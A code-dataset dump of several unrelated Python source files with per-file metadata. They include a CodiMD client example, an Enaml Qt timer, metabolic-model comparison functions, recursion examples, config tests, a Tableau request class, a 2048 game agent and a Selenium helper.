] | null | null | null | example.py | n0emis/pycodimd | cec7135babe63f0c40fdb9eac7ede50e145cd512 | [
"MIT"
] | null | null | null | from pycodimd import CodiMD
cmd = CodiMD('https://md.noemis.me')
#cmd.login('user@example.com','CorrectHorseBatteryStaple')
cmd.load_cookies()
print(cmd.history()[-1]['text']) # Print Name of latest Note
| 29.428571 | 61 | 0.73301 | 29 | 206 | 5.172414 | 0.827586 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005319 | 0.087379 | 206 | 6 | 62 | 34.333333 | 0.792553 | 0.402913 | 0 | 0 | 0 | 0 | 0.198347 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0.25 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
2946dbe0237daa4f111129ff8959628dbb456b22 | 2,640 | py | Python | enaml/qt/qt_timer.py | xtuzy/enaml | a1b5c0df71c665b6ef7f61d21260db92d77d9a46 | [
"BSD-3-Clause-Clear"
] | 1,080 | 2015-01-04T14:29:34.000Z | 2022-03-29T05:44:51.000Z | enaml/qt/qt_timer.py | xtuzy/enaml | a1b5c0df71c665b6ef7f61d21260db92d77d9a46 | [
"BSD-3-Clause-Clear"
] | 308 | 2015-01-05T22:44:13.000Z | 2022-03-30T21:19:18.000Z | enaml/qt/qt_timer.py | xtuzy/enaml | a1b5c0df71c665b6ef7f61d21260db92d77d9a46 | [
"BSD-3-Clause-Clear"
] | 123 | 2015-01-25T16:33:48.000Z | 2022-02-25T19:57:10.000Z | #------------------------------------------------------------------------------
# Copyright (c) 2013-2017, Nucleic Development Team.
#
# Distributed under the terms of the Modified BSD License.
#
# The full license is in the file LICENSE, distributed with this software.
#------------------------------------------------------------------------------
from atom.api import Typed
from enaml.widgets.timer import ProxyTimer
from .QtCore import QTimer
from .qt_toolkit_object import QtToolkitObject
class QtTimer(QtToolkitObject, ProxyTimer):
""" A Qt implementation of an Enaml ProxyTimer.
"""
#: A reference to the widget created by the proxy.
widget = Typed(QTimer)
#--------------------------------------------------------------------------
# Initialization
#--------------------------------------------------------------------------
def create_widget(self):
""" Create the underlying timer object.
"""
self.widget = QTimer()
def init_widget(self):
""" Initialize the widget.
"""
super(QtTimer, self).init_widget()
d = self.declaration
self.set_interval(d.interval)
self.set_single_shot(d.single_shot)
self.widget.timeout.connect(self.on_timeout)
def destroy(self):
""" A reimplemented destructor.
This stops the timer before invoking the superclass destructor.
"""
self.widget.stop()
super(QtTimer, self).destroy()
#--------------------------------------------------------------------------
# Signal Handlers
#--------------------------------------------------------------------------
def on_timeout(self):
""" Handle the timeout signal for the timer.
"""
d = self.declaration
if d is not None:
d.timeout()
#--------------------------------------------------------------------------
# ProxyTimer API
#--------------------------------------------------------------------------
def set_interval(self, interval):
""" Set the interval on the timer.
"""
self.widget.setInterval(interval)
def set_single_shot(self, single_shot):
""" Set the single shot flag on the timer.
"""
self.widget.setSingleShot(single_shot)
def start(self):
""" Start or restart the timer.
"""
self.widget.start()
def stop(self):
""" Stop the timer.
"""
self.widget.stop()
def is_running(self):
""" Get whether or not the timer is running.
"""
return self.widget.isActive()
| 27.789474 | 79 | 0.46553 | 237 | 2,640 | 5.113924 | 0.383966 | 0.066007 | 0.039604 | 0.059406 | 0.033003 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003941 | 0.231061 | 2,640 | 94 | 80 | 28.085106 | 0.593103 | 0.512879 | 0 | 0.129032 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.290323 | false | 0 | 0.129032 | 0 | 0.516129 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
294c561a401bd6bdb0db578e7797d3a5175a9a58 | 318 | py | Python | wildlifecompliance/components/applications/cron.py | preranaandure/wildlifecompliance | bc19575f7bccf7e19adadbbaf5d3eda1d1aee4b5 | [
"Apache-2.0"
] | 1 | 2020-12-07T17:12:40.000Z | 2020-12-07T17:12:40.000Z | wildlifecompliance/components/applications/cron.py | preranaandure/wildlifecompliance | bc19575f7bccf7e19adadbbaf5d3eda1d1aee4b5 | [
"Apache-2.0"
] | 14 | 2020-01-08T08:08:26.000Z | 2021-03-19T22:59:46.000Z | wildlifecompliance/components/applications/cron.py | preranaandure/wildlifecompliance | bc19575f7bccf7e19adadbbaf5d3eda1d1aee4b5 | [
"Apache-2.0"
] | 15 | 2020-01-08T08:02:28.000Z | 2021-11-03T06:48:32.000Z | from django_cron import CronJobBase, Schedule
class VerifyLicenceSpeciesJob(CronJobBase):
"""
Verifies LicenceSpecies against TSC server.
"""
RUN_AT_TIMES = ['00:00']
schedule = Schedule(run_at_times=RUN_AT_TIMES)
code = 'applications.verify_licence_species'
def do(self):
pass
| 21.2 | 50 | 0.704403 | 36 | 318 | 5.972222 | 0.722222 | 0.069767 | 0.139535 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015873 | 0.207547 | 318 | 14 | 51 | 22.714286 | 0.837302 | 0.13522 | 0 | 0 | 0 | 0 | 0.15444 | 0.135135 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0.142857 | 0.142857 | 0 | 0.857143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
295015d1c787b58239c947be3f7d6287049d840f | 6,274 | py | Python | scobra/analysis/compare_elements.py | nihalzp/scobra | de1faa73fb4d186d9567bfa8e174b3fd6f1833ef | [
"MIT"
] | 7 | 2016-03-16T09:03:41.000Z | 2019-09-20T05:55:02.000Z | scobra/analysis/compare_elements.py | nihalzp/scobra | de1faa73fb4d186d9567bfa8e174b3fd6f1833ef | [
"MIT"
] | 11 | 2019-10-03T15:04:58.000Z | 2020-05-11T17:27:10.000Z | scobra/analysis/compare_elements.py | nihalzp/scobra | de1faa73fb4d186d9567bfa8e174b3fd6f1833ef | [
"MIT"
] | 6 | 2016-03-16T09:04:54.000Z | 2021-07-24T15:03:41.000Z |
def compareMetaboliteDicts(d1, d2):
sorted_d1_keys = sorted(d1.keys())
sorted_d2_keys = sorted(d2.keys())
for i in range(len(sorted_d1_keys)):
if not compareMetabolites(sorted_d1_keys[i], sorted_d2_keys[i], naive=True):
return False
elif not d1[sorted_d1_keys[i]] == d2[sorted_d2_keys[i]]:
return False
else:
return True
def compareMetabolites(met1, met2, naive=False):
if isinstance(met1, set):
return compareReactions(list(met1), list(met2), naive)
if isinstance(met1, list):
if not isinstance(met2, list):
return False
elif len(met1) != len(met2):
return False
else:
for i in range(len(met1)):
if not compareMetabolites(met1[i], met2[i], naive):
return False
else:
return True
else:
if not True:
#can never be entered
pass
elif not met1._bound == met2._bound:
return False
elif not met1._constraint_sense == met2._constraint_sense:
return False
#elif not met1.annotation == met2.annotation:
# return False
elif not met1.charge == met2.charge:
return False
elif not met1.compartment == met2.compartment:
return False
elif not met1.name == met2.name:
return False
elif not met1.compartment == met2.compartment:
return False
#elif not met1.notes == met2.notes:
# return False
elif not naive:
if not compareReactions(met1._reaction, met2._reaction, naive=True):
return False
elif not compareModels(met1._model, met2._model, naive=True):
return False
else:
return True
else:
return True
def compareReactions(r1, r2, naive=False):
if isinstance(r1, set):
return compareReactions(list(r1), list(r2), naive)
if isinstance(r1, list):
if not isinstance(r2, list):
return False
elif len(r1) != len(r2):
return False
else:
for i in range(len(r1)):
if not compareReactions(r1[i], r2[i],naive):
return False
else:
return True
else:
if not True:
#can never be entered
pass
#elif not r1._compartments == r2._compartments:
# return False
#elif not r1._forward_variable == r2._forward_variable:
# return False
elif not r1._gene_reaction_rule == r2._gene_reaction_rule:
return False
elif not r1._id == r2._id:
return False
elif not r1._lower_bound == r2._lower_bound:
return False
#elif not r1._model == r2._model:
# return False
#elif not r1._reverse_variable == r2._reverse_variable:
# return False
elif not r1._upper_bound == r2._upper_bound:
return False
#elif not r1.annotation == r2.annotation:
# return False
elif not r1.name== r2.name:
return False
#elif not r1.notes == r2.notes:
# return False
elif not r1.subsystem == r2.subsystem:
return False
elif not r1.variable_kind == r2.variable_kind:
return False
elif not naive:
if not compareMetaboliteDicts(r1._metabolites, r2._metabolites):
return False
elif not compareGenes(r1._genes,r2._genes, naive=True):
return False
else:
return True
else:
return True
def compareGenes(g1, g2, naive=False):
if isinstance(g1, set):
return compareGenes(list(g1), list(g2), naive)
if isinstance(g1, list):
if not isinstance(g2, list):
return False
elif len(g1) != len(g2):
return False
else:
for i in range(len(g1)):
if not compareGenes(g1[i], g2[i], naive):
return False
else:
return True
else:
if not True:
#can never be entered
pass
elif not g1._functional == g2._functional:
return False
elif not g1._id == g2._id:
return False
#elif not g1._model == g2._model:
# return False
elif not g1.annotation == g2.annotation:
return False
elif not g1.name == g2.name:
return False
#elif not g1.notes == g2.notes:
# return False
elif not naive:
if not compareReactions(g1._reaction,g2._reaction, naive=True):
return False
else:
return True
else:
return True
def compareModels(m1, m2, naive=False):
if not True:
#can never be entered
pass
#elif not m1._compartments == m2._compartments:
# return False
#elif not m1._contexts == m2._contexts:
# return False
#elif not m1._solver == m2._solver:
# return False
elif not m1._id == m2._id:
return False
#elif not m1._trimmed == m2.trimmed:
# return False
#elif not m1._trimmed_genes == m2._trimmed_genes:
# return False
#elif not m1._trimmed_reactions == m2._trimmed_reactions:
# return False
#elif not m1.annotation == m2.annotation:
# return False
elif not m1.bounds == m2.bounds:
return False
elif not m1.name == m2.name:
return False
#elif not m1.notes == m2.notes:
# return False
#elif not m1.quadratic_component == m2.quadratic_component:
# return False
elif not naive:
if not compareGenes(m1.genes, m2.genes):
return False
elif not compareMetabolites(m1.metabolites, m2.metabolites):
return False
elif not compareReactions(m1.reactions,m2.reactions):
return False
else:
return True
else:
return True
| 33.021053 | 84 | 0.54176 | 712 | 6,274 | 4.654494 | 0.098315 | 0.192517 | 0.212734 | 0.238986 | 0.564575 | 0.321967 | 0.249246 | 0.232348 | 0.194327 | 0.164756 | 0 | 0.037113 | 0.377271 | 6,274 | 189 | 85 | 33.195767 | 0.811108 | 0.189194 | 0 | 0.592857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035714 | false | 0.028571 | 0 | 0 | 0.421429 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
295e89c3127cdc64f86ba1f4504dbc0c0e95c2df | 1,214 | py | Python | ch05/recursion.py | laszlokiraly/LearningAlgorithms | 032a3cc409546619cf41220821d081cde54bbcce | [
"MIT"
] | 74 | 2021-05-06T22:03:18.000Z | 2022-03-25T04:37:51.000Z | ch05/recursion.py | laszlokiraly/LearningAlgorithms | 032a3cc409546619cf41220821d081cde54bbcce | [
"MIT"
] | null | null | null | ch05/recursion.py | laszlokiraly/LearningAlgorithms | 032a3cc409546619cf41220821d081cde54bbcce | [
"MIT"
] | 19 | 2021-07-16T11:42:00.000Z | 2022-03-22T00:25:49.000Z | """Recursive implementations."""
def find_max(A):
"""invoke recursive function to find maximum value in A."""
def rmax(lo, hi):
"""Use recursion to find maximum value in A[lo:hi+1]."""
if lo == hi: return A[lo]
mid = (lo+hi) // 2
L = rmax(lo, mid)
R = rmax(mid+1, hi)
return max(L, R)
return rmax(0, len(A)-1)
def find_max_with_count(A):
"""Count number of comparisons."""
def frmax(lo, hi):
"""Use recursion to find maximum value in A[lo:hi+1] incl. count"""
if lo == hi: return (0, A[lo])
mid = (lo+hi)//2
ctleft,left = frmax(lo, mid)
ctright,right = frmax(mid+1, hi)
return (1+ctleft+ctright, max(left, right))
return frmax(0, len(A)-1)
def count(A,target):
"""invoke recursive function to return number of times target appears in A."""
def rcount(lo, hi, target):
"""Use recursion to find maximum value in A[lo:hi+1]."""
if lo == hi:
return 1 if A[lo] == target else 0
mid = (lo+hi)//2
left = rcount(lo, mid, target)
right = rcount(mid+1, hi, target)
return left + right
return rcount(0, len(A)-1, target)
| 26.977778 | 82 | 0.555189 | 189 | 1,214 | 3.544974 | 0.222222 | 0.071642 | 0.077612 | 0.107463 | 0.308955 | 0.28209 | 0.21791 | 0.21791 | 0.21791 | 0.21791 | 0 | 0.022145 | 0.293245 | 1,214 | 44 | 83 | 27.590909 | 0.758741 | 0.285008 | 0 | 0.12 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.24 | false | 0 | 0 | 0 | 0.52 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
295f767e353179afb030c3f6f2c390f8073634e9 | 6,020 | py | Python | tests/test_gc3_config.py | ericmharris/gc3-query | 0bf5226130aafbb1974aeb96d93ee1996833e87d | [
"MIT"
] | null | null | null | tests/test_gc3_config.py | ericmharris/gc3-query | 0bf5226130aafbb1974aeb96d93ee1996833e87d | [
"MIT"
] | null | null | null | tests/test_gc3_config.py | ericmharris/gc3-query | 0bf5226130aafbb1974aeb96d93ee1996833e87d | [
"MIT"
] | null | null | null | from pathlib import Path
from requests.auth import _basic_auth_str
import pytest
from bravado_core.formatter import SwaggerFormat, NO_OP
from gc3_query.lib.gc3_config import GC3Config, IDMCredential
TEST_BASE_DIR: Path = Path(__file__).parent.joinpath("GC3Config")
config_dir = TEST_BASE_DIR.joinpath("config")
def test_setup():
assert TEST_BASE_DIR.exists()
assert config_dir.exists()
def test_init():
gc3_config = GC3Config()
assert 'gc30003' in gc3_config['idm']['domains']
assert gc3_config.user.cloud_username == 'eric.harris@oracle.com'
def test_set_credential():
gc3_config = GC3Config()
assert 'gc3test' in gc3_config['idm']['domains']
assert gc3_config.user.cloud_username == 'eric.harris@oracle.com'
credential = gc3_config.set_credential(idm_domain_name='gc3test', password='Welcome123' )
assert credential
assert credential.password == 'Welcome123'
assert credential.idm_domain_name == 'gc3test'
def test_set_gc3pilot_credential():
gc3_config = GC3Config()
assert 'gc3pilot' in gc3_config['idm']['domains']
assert gc3_config.user.cloud_username == 'eric.harris@oracle.com'
credential = gc3_config.set_credential(idm_domain_name='gc3pilot', password='V@nadium123!' )
assert credential
assert credential.password == 'V@nadium123!'
assert credential.idm_domain_name == 'gc3pilot'
@pytest.fixture()
def get_credential_setup() -> IDMCredential:
gc3_config = GC3Config()
assert 'gc3test' in gc3_config['idm']['domains']
assert gc3_config.user.cloud_username == 'eric.harris@oracle.com'
credential = gc3_config.set_credential(idm_domain_name='gc3test', password='123Welcome' )
yield (credential)
def test_load_atoml_files_individually(get_credential_setup):
credential = get_credential_setup
gc3_config = GC3Config()
assert 'gc3test' in gc3_config['idm']['domains']
assert gc3_config.user.cloud_username == 'eric.harris@oracle.com'
check_credential = gc3_config.get_credential(idm_domain_name='gc3test')
assert check_credential==credential
def test_credential_basic_auth(get_credential_setup):
credential = get_credential_setup
credential_expected_basic_auth =_basic_auth_str('eric.harris@oracle.com', '123Welcome')
gc3_config = GC3Config()
check_credential = gc3_config.get_credential(idm_domain_name='gc30003')
assert gc3_config.user.cloud_username == 'eric.harris@oracle.com'
assert check_credential.idm_domain_name=='gc30003'
assert check_credential.basic_auth_str.startswith('Basic')
assert check_credential.basic_auth_str != credential.basic_auth_str
def test_get_main_credential():
gc3_config = GC3Config()
check_credential = gc3_config.get_credential(idm_domain_name='gc30003')
assert gc3_config.user.cloud_username == 'eric.harris@oracle.com'
assert check_credential.idm_domain_name=='gc30003'
# @pytest.fixture()
# def get_bravado_config_setup():
# gc3_config = GC3Config()
# assert 'iaas_classic' in gc3_config
# yield (gc3_config)
#
# def test_bravado_client_config(get_bravado_config_setup):
# gc3_config = get_bravado_config_setup
# assert 'iaas_classic' in gc3_config
# bravado_client_config = gc3_config.bravado_client_config
# assert bravado_client_config
# assert 'formats' not in bravado_client_config
# assert not 'include_missing_properties' in bravado_client_config
# assert 'also_return_response' in bravado_client_config
# bravado_client_config_2 = gc3_config.bravado_client_config
# assert bravado_client_config==bravado_client_config_2
# assert bravado_client_config is not bravado_client_config_2
# assert isinstance(bravado_client_config, dict)
#
# def test_bravado_core_config(get_bravado_config_setup):
# gc3_config = get_bravado_config_setup
# assert 'iaas_classic' in gc3_config
# bravado_core_config = gc3_config.bravado_core_config
# assert bravado_core_config
# assert 'formats' in bravado_core_config
# assert 'include_missing_properties' in bravado_core_config
# assert not 'also_return_response' in bravado_core_config
# bravado_core_config_2 = gc3_config.bravado_core_config
# assert bravado_core_config==bravado_core_config_2
# assert bravado_core_config is not bravado_core_config_2
# assert isinstance(bravado_core_config, dict)
# assert isinstance(bravado_core_config['formats'], list)
#
#
#
# def test_bravado_config(get_bravado_config_setup):
# gc3_config = get_bravado_config_setup
# assert 'iaas_classic' in gc3_config
# bravado_config = gc3_config.bravado_config
# assert bravado_config
# assert 'formats' in bravado_config
# assert 'include_missing_properties' in bravado_config
# assert 'also_return_response' in bravado_config
# bravado_config_2 = gc3_config.bravado_config
# assert bravado_config==bravado_config_2
# assert bravado_config is not bravado_config_2
# assert isinstance(bravado_config, dict)
# assert isinstance(bravado_config['formats'], list)
#
@pytest.fixture()
def get_constants_setup():
gc3_config = GC3Config()
assert 'iaas_classic' in gc3_config
yield (gc3_config)
def test_open_api_catalog_dir(get_constants_setup):
gc3_config = get_constants_setup
open_api_catalog_dir = gc3_config.OPEN_API_CATALOG_DIR
assert open_api_catalog_dir
# def test_BRAVADO_CONFIG(get_constants_setup):
# gc3_config = get_constants_setup
# bravado_config = gc3_config.BRAVADO_CONFIG
# assert bravado_config
# assert 'formats' in bravado_config
# assert 'include_missing_properties' in bravado_config
# assert 'also_return_response' in bravado_config
# assert isinstance(bravado_config, dict)
# assert isinstance(bravado_config['formats'], list)
# assert bravado_config['formats']
# formats = [f.format for f in bravado_config['formats']]
# assert 'json-bool' in formats
# assert all([isinstance(i , SwaggerFormat) for i in bravado_config['formats']])
| 39.605263 | 96 | 0.767608 | 784 | 6,020 | 5.5 | 0.117347 | 0.100186 | 0.059137 | 0.05334 | 0.742347 | 0.599954 | 0.580937 | 0.506262 | 0.486317 | 0.427412 | 0 | 0.023888 | 0.144684 | 6,020 | 151 | 97 | 39.86755 | 0.813556 | 0.445183 | 0 | 0.41791 | 0 | 0 | 0.131218 | 0.053708 | 0 | 0 | 0 | 0 | 0.402985 | 1 | 0.149254 | false | 0.074627 | 0.074627 | 0 | 0.223881 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
296af987b0de54ddfc1944dd10981828dfe9bc78 | 1,803 | py | Python | requests/UpdateSubscriptionRequest.py | divinorum-webb/python-tableau-api | 9d3f130d63b15307ad2b23e2273b52790b8d9018 | [
"Apache-2.0"
] | 1 | 2019-06-08T22:19:40.000Z | 2019-06-08T22:19:40.000Z | requests/UpdateSubscriptionRequest.py | divinorum-webb/python-tableau-api | 9d3f130d63b15307ad2b23e2273b52790b8d9018 | [
"Apache-2.0"
] | null | null | null | requests/UpdateSubscriptionRequest.py | divinorum-webb/python-tableau-api | 9d3f130d63b15307ad2b23e2273b52790b8d9018 | [
"Apache-2.0"
] | null | null | null | from .BaseRequest import BaseRequest
class UpdateSubscriptionRequest(BaseRequest):
"""
Update subscription request for generating API request URLs to Tableau Server.
:param ts_connection: The Tableau Server connection object.
:type ts_connection: class
:param new_subscription_subject: (Optional) A new subject for the subscription.
:type new_subscription_subject: string
:param new_schedule_id: (Optional) The ID of a schedule to associate this subscription with.
:type new_schedule_id: string
"""
def __init__(self,
ts_connection,
new_subscription_subject=None,
new_schedule_id=None):
super().__init__(ts_connection)
self._new_subscription_subject = new_subscription_subject
self._new_schedule_id = new_schedule_id
@property
def base_update_subscription_request(self):
if self._new_subscription_subject and self._new_schedule_id:
self._request_body.update({
'subscription': {
'subject': self._new_subscription_subject,
'schedule': {'id': self._new_schedule_id}
}
})
elif self._new_subscription_subject and not self._new_schedule_id:
self._request_body.update({
'subscription': {
'subject': self._new_subscription_subject
}
})
else:
self._request_body.update({
'subscription': {
'schedule': {'id': self._new_schedule_id}
}
})
return self._request_body
def get_request(self):
return self.base_update_subscription_request
| 36.795918 | 108 | 0.601775 | 177 | 1,803 | 5.717514 | 0.265537 | 0.206522 | 0.195652 | 0.128459 | 0.307312 | 0.217391 | 0.164032 | 0.164032 | 0.164032 | 0.164032 | 0 | 0 | 0.330006 | 1,803 | 48 | 109 | 37.5625 | 0.837748 | 0.260122 | 0 | 0.333333 | 0 | 0 | 0.054096 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.030303 | 0.030303 | 0.212121 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
297b1b7d9f0a6e280fa0145471626d7d01aa1943 | 266 | py | Python | test/win/vs-macros/test_exists.py | chlorm-forks/gyp | a8921fcaab1a18c8cf7e4ab09ceb940e336918ec | [
"BSD-3-Clause"
] | 77 | 2018-07-01T15:55:34.000Z | 2022-03-30T09:16:54.000Z | test/win/vs-macros/test_exists.py | chlorm-forks/gyp | a8921fcaab1a18c8cf7e4ab09ceb940e336918ec | [
"BSD-3-Clause"
] | 116 | 2021-05-29T16:32:51.000Z | 2021-08-13T16:05:29.000Z | test/win/vs-macros/test_exists.py | chlorm-forks/gyp | a8921fcaab1a18c8cf7e4ab09ceb940e336918ec | [
"BSD-3-Clause"
] | 53 | 2018-04-13T12:06:06.000Z | 2022-03-25T13:54:38.000Z | # Copyright (c) 2012 Google Inc. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import os
import sys
if not os.path.exists(sys.argv[1]):
raise Exception()
open(sys.argv[2], 'w').close()
| 24.181818 | 72 | 0.718045 | 48 | 266 | 3.979167 | 0.875 | 0.073298 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027149 | 0.169173 | 266 | 10 | 73 | 26.6 | 0.837104 | 0.56015 | 0 | 0 | 0 | 0 | 0.00885 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
2980dcb521571569813c10466d1c0e11144f30c7 | 151 | py | Python | ssb_pseudonymization/__init__.py | statisticsnorway/ssb-pseudonymization-py | cc8e1abd1cf00b403bfaf52fcb335f09ee71b591 | [
"MIT"
] | 1 | 2021-02-17T09:51:12.000Z | 2021-02-17T09:51:12.000Z | ssb_pseudonymization/__init__.py | statisticsnorway/ssb-pseudonymization-py | cc8e1abd1cf00b403bfaf52fcb335f09ee71b591 | [
"MIT"
] | null | null | null | ssb_pseudonymization/__init__.py | statisticsnorway/ssb-pseudonymization-py | cc8e1abd1cf00b403bfaf52fcb335f09ee71b591 | [
"MIT"
] | 3 | 2020-08-25T07:12:17.000Z | 2021-04-20T12:26:42.000Z | """ssb-pseudonymization - Data pseudonymization functions used by SSB"""
__version__ = '0.0.2'
__author__ = 'Statistics Norway (ssb.no)'
__all__ = []
| 25.166667 | 72 | 0.721854 | 18 | 151 | 5.388889 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022901 | 0.13245 | 151 | 5 | 73 | 30.2 | 0.717557 | 0.437086 | 0 | 0 | 0 | 0 | 0.392405 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
2981c0d7db082728c69505a339fd5c5214978ef0 | 758 | py | Python | agent.py | shukia/2048-python | e6385ea3749098a418198e727e6976dccf344960 | [
"MIT"
] | null | null | null | agent.py | shukia/2048-python | e6385ea3749098a418198e727e6976dccf344960 | [
"MIT"
] | null | null | null | agent.py | shukia/2048-python | e6385ea3749098a418198e727e6976dccf344960 | [
"MIT"
] | null | null | null | from logic import *
class Agent:
def __init__(self):
self.matrix = []
self.score = 0
def initialize_game(self):
self.score = 0
self.matrix = new_game(4)
self.matrix = add_two(self.matrix)
self.matrix = add_two(self.matrix)
def move(self, direction):
self.matrix, board_changed, score_change = move(self.matrix, direction)
if board_changed:
self.matrix = add_two(self.matrix)
self.score += score_change
return self.matrix, self.score, game_state(self.matrix)
def simulate_move(self, direction):
mat, board_changed, score_change = move(self.matrix, direction)
return mat, self.score + score_change, game_state(mat), board_changed
| 29.153846 | 79 | 0.64248 | 98 | 758 | 4.765306 | 0.27551 | 0.278373 | 0.119914 | 0.122056 | 0.372591 | 0.372591 | 0.325482 | 0.197002 | 0 | 0 | 0 | 0.005329 | 0.257256 | 758 | 25 | 80 | 30.32 | 0.824156 | 0 | 0 | 0.263158 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.210526 | false | 0 | 0.052632 | 0 | 0.421053 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
461e9e37802d7e3293cd85e18609ca2b81610862 | 341 | gyp | Python | cluster-1.59/heatmap_clustering/binding.gyp | ericaflin/libheatmap | 18a1aadf4d4cea68f9fd6da20ae858479cf90dab | [
"MIT"
] | 2 | 2020-08-13T19:00:03.000Z | 2021-08-24T06:50:47.000Z | cluster-1.59/heatmap_clustering/binding.gyp | ericaflin/libheatmap | 18a1aadf4d4cea68f9fd6da20ae858479cf90dab | [
"MIT"
] | null | null | null | cluster-1.59/heatmap_clustering/binding.gyp | ericaflin/libheatmap | 18a1aadf4d4cea68f9fd6da20ae858479cf90dab | [
"MIT"
] | null | null | null | {
"targets": [
{
"target_name": "cclust",
"sources": [ "./src/heatmap_clustering_js_module.cpp" ],
'dependencies': ['bonsaiclust']
},
{
'target_name': 'bonsaiclust',
'type': 'static_library',
'sources': [ 'src/cluster.c' ],
'cflags': ['-fPIC', '-I', '-pedantic', '-Wall']
}
]
}
| 20.058824 | 62 | 0.495601 | 28 | 341 | 5.821429 | 0.821429 | 0.122699 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.272727 | 341 | 16 | 63 | 21.3125 | 0.657258 | 0 | 0 | 0 | 0 | 0 | 0.524927 | 0.111437 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
461f2a3e6e5c1ff2b9ea5f5bf6bd2c1511d2a0ba | 514 | py | Python | homework/supporting.py | viaviare/MyFirstRepository | dab8530d16ab9746471b61b61e006d9febfed195 | [
"Unlicense"
] | null | null | null | homework/supporting.py | viaviare/MyFirstRepository | dab8530d16ab9746471b61b61e006d9febfed195 | [
"Unlicense"
] | null | null | null | homework/supporting.py | viaviare/MyFirstRepository | dab8530d16ab9746471b61b61e006d9febfed195 | [
"Unlicense"
] | null | null | null | from selenium.webdriver.support.wait import WebDriverWait
from selenium.common.exceptions import NoSuchElementException
class Supporting:
def __init__(self, driver):
self.driver = driver
self.wait = WebDriverWait(driver, 10)
def is_element_present(self, driver, *args):
try:
self.driver.find_element(*args)
return True
except NoSuchElementException:
return False
